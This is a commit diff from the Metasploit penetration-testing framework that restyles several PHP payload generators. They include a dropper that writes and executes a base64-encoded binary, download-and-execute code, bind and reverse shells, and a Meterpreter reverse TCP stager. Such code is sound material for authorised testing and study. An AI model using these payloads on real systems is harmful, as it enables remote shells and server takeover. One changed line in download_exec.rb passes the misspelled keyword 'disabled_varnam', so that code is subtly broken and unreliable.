Skip to content

Commit 3c7f781

Browse files
committed
Push up the preamble and modernize style
1 parent c9560b5 commit 3c7f781

File tree

7 files changed

+10
-12
lines changed

7 files changed

+10
-12
lines changed

lib/msf/core/exploit/php_exe.rb

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -52,14 +52,13 @@ def get_write_exec_payload(opts={})
5252
end
5353
p = Rex::Text.encode_base64(generate_payload_exe)
5454
php = %Q{
55-
error_reporting(0);
55+
#{php_preamble}
5656
$ex = "#{bin_name}";
5757
$f = fopen($ex, "wb");
5858
fwrite($f, base64_decode("#{p}"));
5959
fclose($f);
6060
chmod($ex, 0777);
6161
function my_cmd($cmd) {
62-
#{php_preamble}
6362
#{php_system_block};
6463
}
6564
if (FALSE === strpos(strtolower(PHP_OS), 'win' )) {

lib/msf/core/payload/php/bind_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -86,7 +86,7 @@ def generate_bind_tcp(opts={})
8686

8787
php << php_send_uuid if include_send_uuid
8888

89-
php << %Q^switch ($s_type) {
89+
php << %Q^switch ($s_type) {
9090
case 'stream': $len = fread($s, 4); break;
9191
case 'socket': $len = socket_read($s, 4); break;
9292
}

modules/payloads/singles/php/bind_php.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -43,7 +43,7 @@ def php_bind_shell
4343

4444
dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4);
4545
shell = <<-END_OF_PHP_CODE
46-
#{php_preamble({:disabled_varname => dis})}
46+
#{php_preamble(disabled_varname: dis)}
4747
$port=#{datastore['LPORT']};
4848
4949
$scl='socket_create_listen';

modules/payloads/singles/php/download_exec.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -40,7 +40,7 @@ def php_exec_file
4040
exename = Rex::Text.rand_text_alpha(rand(8) + 4)
4141
dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
4242
shell = <<-END_OF_PHP_CODE
43-
#{php_preamble({:disabled_varname => dis})}
43+
#{php_preamble(disabled_varname: dis)}
4444
if (!function_exists('sys_get_temp_dir')) {
4545
function sys_get_temp_dir() {
4646
if (!empty($_ENV['TMP'])) { return realpath($_ENV['TMP']); }
@@ -64,7 +64,7 @@ def php_exec_file
6464
fclose($fd_out);
6565
chmod($fname, 0777);
6666
$c = $fname;
67-
#{php_system_block({:cmd_varname => "$c", :disabled_varname => dis})}
67+
#{php_system_block(cmd_varname: "$c", disabled_varnam: dis)}
6868
@unlink($fname);
6969
END_OF_PHP_CODE
7070

modules/payloads/singles/php/meterpreter_reverse_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -38,7 +38,7 @@ def generate
3838

3939
uuid = generate_payload_uuid
4040
bytes = uuid.to_raw.chars.map { |c| '\x%.2x' % c.ord }.join('')
41-
met = met.sub("\"PAYLOAD_UUID\", \"\"", "\"PAYLOAD_UUID\", \"#{bytes}\"")
41+
met = met.sub(%q|"PAYLOAD_UUID", ""|, %Q|"PAYLOAD_UUID", "#{bytes}"|)
4242

4343
met.gsub!(/#.*$/, '')
4444
met = Rex::Text.compress(met)

modules/payloads/singles/php/reverse_php.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -66,12 +66,12 @@ def php_reverse_shell
6666
shell=<<-END_OF_PHP_CODE
6767
$ipaddr='#{ipaddr}';
6868
$port=#{port};
69-
#{php_preamble({:disabled_varname => "$dis"})}
69+
#{php_preamble(disabled_varname: "$dis")}
7070
7171
if(!function_exists('#{exec_funcname}')){
7272
function #{exec_funcname}($c){
7373
global $dis;
74-
#{php_system_block({:cmd_varname => "$c", :disabled_varname => "$dis", :output_varname => "$o"})}
74+
#{php_system_block(cmd_varname: "$c", disabled_varname: "$dis", output_varname: "$o")}
7575
return $o;
7676
}
7777
}

modules/payloads/singles/php/shell_findsock.rb

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -50,13 +50,12 @@ def php_findsock
5050
var_fd = '$' + Rex::Text.rand_text_alpha(rand(4) + 6)
5151
var_out = '$' + Rex::Text.rand_text_alpha(rand(4) + 6)
5252
shell = <<END_OF_PHP_CODE
53-
error_reporting(0);
53+
#{php_preamble}
5454
print("<html><body>");
5555
flush();
5656
5757
function mysystem(#{var_cmd}){
58-
#{php_preamble()}
59-
#{php_system_block({:cmd_varname=>var_cmd, :output_varname => var_out})}
58+
#{php_system_block(cmd_varname: var_cmd, output_varname: var_out)}
6059
return #{var_out};
6160
}
6261

0 commit comments

Comments
 (0)